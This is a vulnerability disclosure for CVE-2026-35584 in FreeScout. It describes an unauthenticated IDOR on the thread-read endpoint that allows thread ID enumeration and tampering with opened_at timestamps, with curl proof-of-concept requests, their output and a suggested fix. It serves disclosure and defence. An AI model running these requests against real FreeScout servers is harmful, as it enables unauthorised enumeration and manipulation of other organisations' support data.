CVE-2026-35584

POC - CVE-2026-35584 FreeScout

Description

Summary

The endpoint GET /thread/read/{conversation_id}/{thread_id} does not require authentication and does not validate whether the given thread_id belongs to the given conversation_id. This allows any unauthenticated attacker to:

Mark any thread as read by passing arbitrary IDs Enumerate valid thread IDs via HTTP response codes (200 vs 404) Manipulate opened_at timestamps across conversations (IDOR)

Affected Version
1.8.211 (latest)

Steps to Reproduce

Create two conversations (conv_id=1 and conv_id=2) Create a thread in conversation 2 (thread_id=3) Without any authentication, send: GET /thread/read/1/3 Verify in the database — opened_at of thread_id=3 is now set, despite being accessed via the wrong conversation_id

PoC

curl -v "http://TARGET/thread/read/1/3"

Returns HTTP 200 and sets opened_at on thread 3

Impact

No authentication required IDOR: thread_id is not validated against conversation_id Thread enumeration: HTTP 200 = valid thread, 404 = invalid Manipulation of read/unread metrics used by support agents Breaks conversation isolation model

Suggested Fix

if ($thread->conversation_id !== (int)$conversation_id) {
abort(403);
}

PoC Output

Thread enumeration (unauthenticated)

curl -v "http://TARGET/thread/read/1/1" → HTTP 200 (valid thread)

curl -v "http://TARGET/thread/read/1/2" → HTTP 200 (valid thread)

curl -v "http://TARGET/thread/read/1/3" → HTTP 200 (IDOR - thread belongs to conversation 2)

curl -v "http://TARGET/thread/read/1/4" → HTTP 404 (invalid thread)

Database state after exploitation

Before: | id | conversation_id | opened_at | | 3 | 2 | NULL |

After GET /thread/read/1/3 (no auth): | id | conversation_id | opened_at | | 3 | 2 | 2026-04-03 23:19:46 |